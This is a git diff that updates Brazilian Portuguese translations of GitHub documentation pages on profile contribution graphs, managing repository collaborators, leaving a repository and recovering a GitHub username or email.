+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing contributions on your profile
-intro: 'Your {% data variables.product.product_name %} profile shows off {% ifversion fpt or ghes or ghec %}your pinned repositories as well as{% endif %} a graph of your repository contributions over the past year.'
+title: Exibir contribuições no perfil
+intro: 'O seu perfil {% data variables.product.product_name %} mostra {% ifversion fpt or ghes or ghec %}os seus repositórios fixos, bem como{% endif %} um gráfico das contribuições do repositório ao longo do último ano.'
 redirect_from:
   - /articles/viewing-contributions
   - /articles/viewing-contributions-on-your-profile-page
@@ -14,91 +14,92 @@ versions:
   ghec: '*'
 topics:
   - Profiles
-shortTitle: View contributions
+shortTitle: Ver contribuições
 ---
-{% ifversion fpt or ghes or ghec %}Your contribution graph shows activity from public repositories. {% endif %}You can choose to show activity from {% ifversion fpt or ghes or ghec %}both public and {% endif %}private repositories, with specific details of your activity in private repositories anonymized. For more information, see "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)."
+
+{% ifversion fpt or ghes or ghec %}Seu gráfico de contribuição mostra a atividade de repositórios públicos. {% endif %}Você pode optar por mostrar a atividade em {% ifversion fpt or ghes or ghec %}tanto em repositórios públicos quanto {% endif %}privados, com detalhes específicos da sua atividade em repositórios privados anonimizados. Para obter mais informações, consulte "[Mostrar ou ocultar contribuições privadas no perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)".
 
 {% note %}
 
-**Note:** Commits will only appear on your contributions graph if the email address you used to author the commits is connected to your account on {% data variables.product.product_name %}. For more information, see "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)"
+**Observação:** Os commits só aparecerão no seu gráfico de contribuições se o endereço de e-mail que você usou para criar das submissões estiver conectado à sua conta em {% data variables.product.product_name %}. Para obter mais informações, consulte "[Por que minhas contribuições não aparecem no meu perfil?](/articles/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)"
 
 {% endnote %}
 
-## What counts as a contribution
+## O que conta como contribuição
 
-On your profile page, certain actions count as contributions:
+Na sua página de perfil, determinadas ações contam como contribuições:
 
-- Committing to a repository's default branch or `gh-pages` branch
-- Opening an issue
-- Opening a discussion
-- Answering a discussion
-- Proposing a pull request
-- Submitting a pull request review{% ifversion ghes or ghae %}
-- Co-authoring commits in a repository's default branch or `gh-pages` branch{% endif %}
+- Fazer commit no branch `gh-pages` ou no branch padrão de um repositório
+- Abrir um problema
+- Abrir uma discussão
+- Responder a uma discussão
+- Propor uma pull request
+- Enviar uma revisão de pull request{% ifversion ghes or ghae %}
+- Fazer coautoria de commits no branch `gh-pages` ou no branch padrão do repositório{% endif %}
 
 {% data reusables.pull_requests.pull_request_merges_and_contributions %}
 
-## Popular repositories
+## Repositórios populares
 
-This section displays your repositories with the most watchers. {% ifversion fpt or ghes or ghec %}Once you [pin repositories to your profile](/articles/pinning-repositories-to-your-profile), this section will change to "Pinned repositories."{% endif %}
+Esta seção exibe os repositórios com a maioria dos inspetores. {% ifversion fpt or ghes or ghec %}Uma vez que você [fixou repositórios no seu perfil](/articles/pinning-repositories-to-your-profile), esta seção mudará para "Repositórios fixoss".{% endif %}
 
-![Popular repositories](/assets/images/help/profile/profile_popular_repositories.png)
+![Repositórios populares](/assets/images/help/profile/profile_popular_repositories.png)
 
 {% ifversion fpt or ghes or ghec %}
 
-## Pinned repositories
+## Repositórios fixos
 
-This section displays up to six public repositories and can include your repositories as well as repositories you've contributed to. To easily see important details about the repositories you've chosen to feature, each repository in this section includes a summary of the work being done, the number of [stars](/articles/saving-repositories-with-stars/) the repository has received, and the main programming language used in the repository. For more information, see "[Pinning repositories to your profile](/articles/pinning-repositories-to-your-profile)."
+Esta seção exibe até seis repositórios públicos e pode incluir tanto repositórios pertencentes a você como aqueles com os quais você contribuiu. Para ver detalhes importantes sobre os repositórios que você escolheu retratar, cada repositório nesta seção inclui um resumo do trabalho que está sendo feito, o número de [estrelas](/articles/saving-repositories-with-stars/) que ele recebeu e a principal linguagem de programação usada nele. Para obter mais informações, consulte "[Fixar repositórios no seu perfil](/articles/pinning-repositories-to-your-profile)".
 
-![Pinned repositories](/assets/images/help/profile/profile_pinned_repositories.png)
+![Repositórios fixos](/assets/images/help/profile/profile_pinned_repositories.png)
 
 {% endif %}
 
-## Contributions calendar
+## Calendário de contribuições
 
-Your contributions calendar shows your contribution activity.
+O calendário de contribuições mostra sua atividade de contribuição.
 
-### Viewing contributions from specific times
+### Exibir contribuições de horários específicos
 
-- Click on a day's square to show the contributions made during that 24-hour period.
-- Press *Shift* and click on another day's square to show contributions made during that time span.
+- Clique no quadrado de um dia para mostrar as contribuições feitas durante esse período de 24 horas.
+- Pressione *Shift* e clique no quadrado de outro data para mostrar as contribuições feitas durante esse período.
 
 {% note %}
 
-**Note:** You can select up to a one-month range on your contributions calendar. If you select a larger time span, we will only display one month of contributions.
+**Observação:** só é possível selecionar um intervalo de até um mês no calendário de contribuições. Se você selecionar um período maior, será exibido apenas um mês de contribuições.
 
 {% endnote %}
 
-![Your contributions graph](/assets/images/help/profile/contributions_graph.png)
+![Gráfico de contribuição](/assets/images/help/profile/contributions_graph.png)
 
-### How contribution event times are calculated
+### Como são calculados os horários de evento de contribuição
 
-Timestamps are calculated differently for commits and pull requests:
-- **Commits** use the time zone information in the commit timestamp. For more information, see "[Troubleshooting commits on your timeline](/articles/troubleshooting-commits-on-your-timeline)."
-- **Pull requests** and **issues** opened on {% data variables.product.product_name %} use your browser's time zone. Those opened via the API use the timestamp or time zone [specified in the API call](https://developer.github.com/changes/2014-03-04-timezone-handling-changes).
+Os registros de data e hora são calculados de forma diferente para commits e pull requests:
+- Os **commits** usam as informações de fuso horário no registro de data e hora do commit. Para obter mais informações, consulte "[Solucionar problemas de commits na linha do tempo](/articles/troubleshooting-commits-on-your-timeline)".
+- As **pull requests** e os **problemas** abertos no {% data variables.product.product_name %} usam o fuso horário do navegador. Os abertos pela API usam o registro de data e hora ou o fuso horário [especificado na chamada de API](https://developer.github.com/changes/2014-03-04-timezone-handling-changes).
 
-## Activity overview
+## Visão geral de atividade
 
-{% data reusables.profile.activity-overview-summary %} For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)."
+{% data reusables.profile.activity-overview-summary %} Para obter mais informações, consulte "[Exibir a visão geral das atividades no perfil](/articles/showing-an-overview-of-your-activity-on-your-profile)".
 
-![Activity overview section on profile](/assets/images/help/profile/activity-overview-section.png)
+![Seção Visão geral de atividade no perfil](/assets/images/help/profile/activity-overview-section.png)
 
-The organizations featured in the activity overview are prioritized according to how active you are in the organization. If you @mention an organization in your profile bio, and you’re an organization member, then that organization is prioritized first in the activity overview. For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" or "[Adding a bio to your profile](/articles/adding-a-bio-to-your-profile/)."
+As organizações retratadas na visão geral da atividade são priorizadas de acordo com a forma como você está ativo na organização. Se você for integrante de uma organização e @mencioná-la na bio do perfil, essa organização será priorizada na visão geral da atividade. Para obter mais informações, consulte "[Mencionando pessoas e equipes](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)” ou "[Adicionando uma biografia ao seu perfil](/articles/adding-a-bio-to-your-profile/)."
 
-## Contribution activity
+## Atividade de contribuição
 
-The contribution activity section includes a detailed timeline of your work, including commits you've made or co-authored, pull requests you've proposed, and issues you've opened. You can see your contributions over time by either clicking **Show more activity** at the bottom of your contribution activity or by clicking the year you're interested in viewing on the right side of the page. Important moments, like the date you joined an organization, proposed your first pull request, or opened a high-profile issue, are highlighted in your contribution activity. If you can't see certain events in your timeline, check to make sure you still have access to the organization or repository where the event happened.
+A seção de atividade de contribuição contém uma linha do tempo detalhada do seu trabalho, incluindo commits feitos exclusivamente por você ou em coautoria, solicitações de pull que você propôs e problemas que você abriu. Para ver suas contribuições ao longo do tempo, clique em **Mostrar mais atividade** na parte inferior da atividade de contribuição ou clique no ano em que você está interessado em visualizar, no lado direito da página. Momentos importantes, como a data em que você ingressou na organização, propôs sua primeira pull request ou abriu um problema relevante, são realçados na atividade de contribuição. Se você não conseguir ver determinados eventos na sua linha do tempo, verifique se ainda tem acesso à organização ou ao repositório em que o evento aconteceu
 
-![Contribution activity time filter](/assets/images/help/profile/contributions_activity_time_filter.png)
+![Filtro de hora de atividade de contribuição](/assets/images/help/profile/contributions_activity_time_filter.png)
 
 {% ifversion fpt or ghes or ghae or ghec %}
 
-## Viewing contributions from {% data variables.product.prodname_enterprise %} on {% data variables.product.prodname_dotcom_the_website %}
+## Exibir contribuições da {% data variables.product.prodname_enterprise %} no {% data variables.product.prodname_dotcom_the_website %}
 
-If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} and your enterprise owner enables {% data variables.product.prodname_unified_contributions %}, you can send enterprise contribution counts from to your {% data variables.product.prodname_dotcom_the_website %} profile. For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)."
+Se você usar {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae %} ou {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} e proprietário da sua empresa permiteir {% data variables.product.prodname_unified_contributions %}, você poderá enviar contribuições corporativas a partir do seu perfil de {% data variables.product.prodname_dotcom_the_website %}. Para obter mais informações, consulte "[Enviando contribuições corporativas para seu perfil de {% data variables.product.prodname_dotcom_the_website %}](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)".
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)"
+- "[Visualizar contribuições na página de perfil](/articles/viewing-contributions-on-your-profile-page)"
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md
index 26c50a8387..f871e59c09 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to your personal repositories
-intro: You can give people collaborator access to repositories owned by your personal account.
+title: Gerenciar acessos aos seus repositórios pessoais
+intro: Você pode conceder acesso de colaborador a pessoas nos repositórios pertencentes à sua conta pessoal.
 redirect_from:
   - /categories/101/articles
   - /categories/managing-repository-collaborators
@@ -20,6 +20,6 @@ children:
   - /removing-a-collaborator-from-a-personal-repository
   - /removing-yourself-from-a-collaborators-repository
   - /maintaining-ownership-continuity-of-your-user-accounts-repositories
-shortTitle: Access to your repositories
+shortTitle: Acesso aos seus repositórios
 ---
 
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
index caa381f9fe..5f88d1266d 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Inviting collaborators to a personal repository
-intro: 'You can {% ifversion fpt or ghec %}invite users to become{% else %}add users as{% endif %} collaborators to your personal repository.'
+title: Convidar colaboradores para um repositório pessoal
+intro: 'Você pode {% ifversion fpt or ghec %}convidar usuários para se tornarem{% else %}adicionar usuários como{% endif %} colaboradores em seu repositório pessoal.'
 redirect_from:
   - /articles/how-do-i-add-a-collaborator
   - /articles/adding-collaborators-to-a-personal-repository
@@ -16,51 +16,46 @@ versions:
 topics:
   - Accounts
   - Repositories
-shortTitle: Invite collaborators
+shortTitle: Convidar colaboradores
 ---
-Repositories owned by an organization can grant more granular access. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/articles/access-permissions-on-github)."
+
+Os repositórios de propriedade de uma organização podem conceder mais acesso granular. Para obter mais informações, consulte "[Permissões de acesso no {% data variables.product.prodname_dotcom %}](/articles/access-permissions-on-github)".
 
 {% data reusables.organizations.org-invite-expiration %}
 
 {% ifversion fpt or ghec %}
 
-If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you can only invite other members of your enterprise to collaborate with you. {% data reusables.enterprise-accounts.emu-more-info-account %}
+Se você for integrante de um {% data variables.product.prodname_emu_enterprise %}, você só poderá convidar outros integrantes da sua empresa para colaborar com você. {% data reusables.enterprise-accounts.emu-more-info-account %}
 
 {% note %}
 
-**Note:** {% data variables.product.company_short %} limits the number of people who can be invited to a repository within a 24-hour period. If you exceed this limit, either wait 24 hours or create an organization to collaborate with more people.
+**Observação:** o {% data variables.product.company_short %} limita o número de pessoas que podem ser convidadas para um repositório dentro de um período de 24 horas. Se você exceder esse limite, aguarde 24 horas ou crie uma organização para colaborar com mais pessoas.
 
 {% endnote %}
 
 {% endif %}
 
-1. Ask for the username of the person you're inviting as a collaborator.{% ifversion fpt or ghec %} If they don't have a username yet, they can sign up for {% data variables.product.prodname_dotcom %} For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account)".{% endif %}
+1. Pergunte o nome do usuário da pessoa que você está convidando a colaborar.{% ifversion fpt or ghec %} Caso a pessoa não tenha um nome de usuário ainda, deve se inscrever em {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Inscrever-se em uma nova conta {% data variables.product.prodname_dotcom %}](/articles/signing-up-for-a-new-github-account)".{% endif %}
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% ifversion fpt or ghec %}
 {% data reusables.repositories.navigate-to-manage-access %}
-1. Click **Invite a collaborator**.
-  !["Invite a collaborator" button](/assets/images/help/repository/invite-a-collaborator-button.png)
-2. In the search field, start typing the name of person you want to invite, then click a name in the list of matches.
-  ![Search field for typing the name of a person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field-user.png)
-3. Click **Add NAME to REPOSITORY**.
-    ![Button to add collaborator](/assets/images/help/repository/add-collaborator-user-repo.png)
+1. Clique em **Convidar um colaborador**. ![Botão "Convidar um colaborador"](/assets/images/help/repository/invite-a-collaborator-button.png)
+2. No campo de pesquisa, comece a digitar o nome da pessoa que deseja convidar e, em seguida, clique em um nome na lista de correspondências. ![Campo de pesquisa para digitar o nome de uma pessoa para convidar para o repositório](/assets/images/help/repository/manage-access-invite-search-field-user.png)
+3. Clique em **Adicionar NOME ao REPOSITÓRIO**. ![Botão para adicionar um colaborador](/assets/images/help/repository/add-collaborator-user-repo.png)
 {% else %}
-5. In the left sidebar, click **Collaborators**.
-![Repository settings sidebar with Collaborators highlighted](/assets/images/help/repository/user-account-repo-settings-collaborators.png)
-6. Under "Collaborators", start typing the collaborator's username.
-7. Select the collaborator's username from the drop-down menu.
-   ![Collaborator list drop-down menu](/assets/images/help/repository/repo-settings-collab-autofill.png)
-8. Click **Add collaborator**.
-   !["Add collaborator" button](/assets/images/help/repository/repo-settings-collab-add.png)
+5. Na barra lateral esquerda, clique em **Collaborators** (Colaboradores). ![Barra lateral Repository settings (Configurações de repositório) com destaque para Collaborators (Colaboradores)](/assets/images/help/repository/user-account-repo-settings-collaborators.png)
+6. Em "Collaborators" (Colaboradores), comece a digitar o nome de usuário do colaborador.
+7. Selecione o nome de usuário do colaborador no menu suspenso. ![Menu suspenso lista Collaborator (Colaborador)](/assets/images/help/repository/repo-settings-collab-autofill.png)
+8. Clique em **Add collaborator** (Adicionar colaborador). ![Botão "Adicionar colaborador"](/assets/images/help/repository/repo-settings-collab-add.png)
 {% endif %}
 {% ifversion fpt or ghec %}
-9. The user will receive an email inviting them to the repository. Once they accept your invitation, they will have collaborator access to your repository.
+9. O usuário receberá um e-mail com o convite para o repositório. Ao aceitar o convite, a pessoa terá acesso de colaborador ao seu repositório.
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/#collaborator-access-for-a-repository-owned-by-a-user-account)"
-- "[Removing a collaborator from a personal repository](/articles/removing-a-collaborator-from-a-personal-repository)"
-- "[Removing yourself from a collaborator's repository](/articles/removing-yourself-from-a-collaborator-s-repository)"
-- "[Organizing members into teams](/organizations/organizing-members-into-teams)"
+- "[Níveis de permissão para um repositório de conta de usuário](/articles/permission-levels-for-a-user-account-repository/#collaborator-access-for-a-repository-owned-by-a-user-account)"
+- "[Remover um colaborador de um repositório pessoal](/articles/removing-a-collaborator-from-a-personal-repository)"
+- "[Remover a si mesmo de um repositório de colaborador](/articles/removing-yourself-from-a-collaborator-s-repository)"
+- "[Organizar integrantes em equipes](/organizations/organizing-members-into-teams)"
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
index 627316136c..3b7377524a 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Removing a collaborator from a personal repository
-intro: 'When you remove a collaborator from your project, they lose read/write access to your repository. If the repository is private and the person has created a fork, then that fork is also deleted.'
+title: Remover um colaborador de um repositório pessoal
+intro: 'Quando você remove um colaborador do projeto, ele perde o acesso de leitura/gravação ao repositório. Se o repositório for privado e o colaborador tiver criado uma bifurcação, essa bifurcação também será excluída.'
 redirect_from:
   - /articles/how-do-i-remove-a-collaborator
   - /articles/what-happens-when-i-remove-a-collaborator-from-my-private-repository
@@ -19,28 +19,26 @@ versions:
 topics:
   - Accounts
   - Repositories
-shortTitle: Remove a collaborator
+shortTitle: Remover um colaborador
 ---
-## Deleting forks of private repositories
 
-While forks of private repositories are deleted when a collaborator is removed, the person will still retain any local clones of your repository.
+## Excluir bifurcações de repositórios privados
 
-## Removing collaborator permissions from a person contributing to a repository
+Apesar de as bifurcações de repositórios privados serem excluídas quando um colaborador é removido, o colaborador mantém todos os clones locais do seu repositório.
+
+## Remover as permissões de colaborador de um usuário que está contribuindo em um repositório
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% ifversion fpt or ghec %}
 {% data reusables.repositories.navigate-to-manage-access %}
-4. To the right of the collaborator you want to remove, click {% octicon "trash" aria-label="The trash icon" %}.
-  ![Button to remove collaborator](/assets/images/help/repository/collaborator-remove.png)
+4. À direita do colaborador que deseja remover, clique em {% octicon "trash" aria-label="The trash icon" %}. ![Botão para remover o colaborador](/assets/images/help/repository/collaborator-remove.png)
 {% else %}
-3. In the left sidebar, click **Collaborators & teams**.
-  ![Collaborators tab](/assets/images/help/repository/repo-settings-collaborators.png)
-4. Next to the collaborator you want to remove, click the **X** icon.
-  ![Remove link](/assets/images/help/organizations/Collaborator-Remove.png)
+3. Na barra lateral esquerda, clique em **Collaborators & teams** (Colaboradores e equipes). ![Guia Collaborators (Colaboradores)](/assets/images/help/repository/repo-settings-collaborators.png)
+4. Clique no ícone de **X** ao lado do colaborador que deseja remover. ![Link de remoção](/assets/images/help/organizations/Collaborator-Remove.png)
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Removing organization members from a team](/articles/removing-organization-members-from-a-team)"
-- "[Removing an outside collaborator from an organization repository](/articles/removing-an-outside-collaborator-from-an-organization-repository)"
+- "[Remover integrantes da organização de uma equipe](/articles/removing-organization-members-from-a-team)"
+- "[Remover um colaborador externo de um repositório da organização](/articles/removing-an-outside-collaborator-from-an-organization-repository)"
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
index 0546453704..1cb296c67d 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Removing yourself from a collaborator's repository
-intro: 'If you no longer want to be a collaborator on someone else''s repository, you can remove yourself.'
+title: Remover a si mesmo de um repositório de colaborador
+intro: 'Se não desejar mais ser um colaborador no repositório de outro usuário, você poderá remover a si mesmo.'
 redirect_from:
   - /leave-a-collaborative-repo
   - /leave-a-repo
@@ -18,12 +18,10 @@ versions:
 topics:
   - Accounts
   - Repositories
-shortTitle: Remove yourself
+shortTitle: Remover-se
 ---
+
 {% data reusables.user_settings.access_settings %}
-2. In the left sidebar, click **Repositories**.
-  ![Repositories tab](/assets/images/help/settings/settings-sidebar-repositories.png)
-3. Next to the repository you want to leave, click **Leave**.
-  ![Leave button](/assets/images/help/repository/repo-leave.png)
-4. Read the warning carefully, then click "I understand, leave this repository."
-  ![Dialog box warning you to leave](/assets/images/help/repository/repo-leave-confirmation.png)
+2. Na barra lateral esquerda, clique em **Repositories** (Repositórios). ![Guia Repositories (Repositórios)](/assets/images/help/settings/settings-sidebar-repositories.png)
+3. Clique em **Leave** (Sair) ao lado do repositório do qual deseja sair. ![Botão Leave (Sair)](/assets/images/help/repository/repo-leave.png)
+4. Leia o aviso com atenção, depois clique em "I understand, leave this repository" (Eu compreendo, sair deste repositório). ![Caixa de diálogo avisando você para sair](/assets/images/help/repository/repo-leave-confirmation.png)
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md
index 6f5986b82c..9676c64eeb 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing email preferences
-intro: 'You can add or change the email addresses associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. You can also manage emails you receive from {% data variables.product.product_name %}.'
+title: Gerenciar preferências de e-mail
+intro: 'Você pode adicionar ou alterar os endereços de e-mail associados à sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Também é possível gerenciar os e-mails que você recebe do {% data variables.product.product_name %}.'
 redirect_from:
   - /categories/managing-email-preferences
   - /articles/managing-email-preferences
@@ -22,6 +22,6 @@ children:
   - /remembering-your-github-username-or-email
   - /types-of-emails-github-sends
   - /managing-marketing-emails-from-github
-shortTitle: Manage email preferences
+shortTitle: Gerenciar preferências de e-mail
 ---
 
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md
index e3a1cec0b9..d3725b4b0a 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md
@@ -1,6 +1,6 @@
 ---
-title: Remembering your GitHub username or email
-intro: 'Are you signing in to {% data variables.product.product_location %} for the first time in a while? If so, welcome back! If you can''t remember your {% data variables.product.product_name %} user account name, you can try these methods for remembering it.'
+title: Lembrar o nome de usuário ou e-mail do GitHub
+intro: 'Faz tempo que você não faz login no {% data variables.product.product_location %}? Se sim, bem-vindo de volta! Se não lembrar o nome da conta de usuário do {% data variables.product.product_name %}, siga estas etapas para recuperá-lo.'
 redirect_from:
   - /articles/oh-noes-i-ve-forgotten-my-username-email
   - /articles/oh-noes-i-ve-forgotten-my-username-or-email
@@ -14,62 +14,63 @@ versions:
 topics:
   - Accounts
   - Notifications
-shortTitle: Find your username or email
+shortTitle: Encontre seu nome de usuário ou e-mail
 ---
+
 {% mac %}
 
-## {% data variables.product.prodname_desktop %} users
+## Usuários do {% data variables.product.prodname_desktop %}
 
-1. In the **GitHub Desktop** menu, click **Preferences**.
-2. In the Preferences window, verify the following:
-    - To view your {% data variables.product.product_name %} username, click **Accounts**.
-    - To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary {% data variables.product.product_name %} email](/articles/changing-your-primary-email-address).
+1. No menu **GitHub Desktop**, clique em **Preferences** (Preferências).
+2. Na janela Preferences (Preferências), faça o seguinte:
+    - Para visualizar o nome de usuário do {% data variables.product.product_name %}, clique em **Accounts** (Contas).
+    - Para visualizar o e-mail do Git, clique em **Git**. Note que esse não é necessariamente seu [e-mail principal do {% data variables.product.product_name %}](/articles/changing-your-primary-email-address).
 
 {% endmac %}
 
 {% windows %}
 
-## {% data variables.product.prodname_desktop %} users
+## Usuários do {% data variables.product.prodname_desktop %}
+
+1. No menu **Arquivo** clique em **Opções**.
+2. Na janela Options (Opções), faça o seguinte:
+    - Para visualizar o nome de usuário do {% data variables.product.product_name %}, clique em **Accounts** (Contas).
+    - Para visualizar o e-mail do Git, clique em **Git**. Note que esse não é necessariamente seu [e-mail principal do {% data variables.product.product_name %}](/articles/changing-your-primary-email-address).
 
-1. In the **File** menu, click **Options**.
-2. In the Options window, verify the following:
-    - To view your {% data variables.product.product_name %} username, click **Accounts**.
-    - To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary {% data variables.product.product_name %} email](/articles/changing-your-primary-email-address).
-  
 {% endwindows %}
 
-## Finding your username in your `user.name` configuration
+## Encontrar o nome de usuário na configuração `user.name`
 
-During set up, you may have [set your username in Git](/github/getting-started-with-github/setting-your-username-in-git). If so, you can review the value of this configuration setting:
+Durante a configuração, você provavelmente [configurou seu nome de usuário no Git](/github/getting-started-with-github/setting-your-username-in-git). Em caso afirmativo, você poderá revisar o valor dessa configuração:
 
 ```shell
 $ git config user.name
-# View the setting
+# Visualizar a configuração
 <em>YOUR_USERNAME</em>
 ```
 
-## Finding your username in the URL of remote repositories
+## Encontrar o nome de usuário na URL de repositórios remote
 
-If you have any local copies of personal repositories you have created or forked, you can check the URL of the remote repository.
+Se você tiver cópias locais de repositórios pessoais criados ou bifurcados, poderá consultar a URL do repositório remote.
 
 {% tip %}
 
-**Tip**: This method only works if you have an original repository or your own fork of someone else's repository. If you clone someone else's repository, their username will show instead of yours. Similarly, organization repositories will show the name of the organization instead of a particular user in the remote URL.
+**Dica**: esse método funciona apenas se você tiver um repositório original ou sua própria bifurcação do repositório de outra pessoa. Se você clonar o repositório de outra pessoa, o nome de usuário da pessoa será exibido, não o seu. De forma similar, os repositórios da organização exibirão o nome da organização, não um usuário específico na URL remoto.
 
 {% endtip %}
 
 ```shell
 $ cd <em>YOUR_REPOSITORY</em>
-# Change directories to the initialized Git repository
+# Altera os diretórios no repositório Git inicializado
 $ git remote -v
-origin	https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.git (fetch)
-origin	https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.git (push)
+origin  https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.git (fetch)
+origin  https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.git (push)
 ```
 
-Your user name is what immediately follows the `https://{% data variables.command_line.backticks %}/`.
+Seu nome de usuário aparece logo após `https://{% data variables.command_line.backticks %}/`.
 
 {% ifversion fpt or ghec %}
-## Further reading
+## Leia mais
 
-- "[Verifying your email address](/articles/verifying-your-email-address)"
+- "[Verificar o endereço de e-mail](/articles/verifying-your-email-address)"
 {% endif %}
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md
index 338493bf2e..23c8a5229a 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md
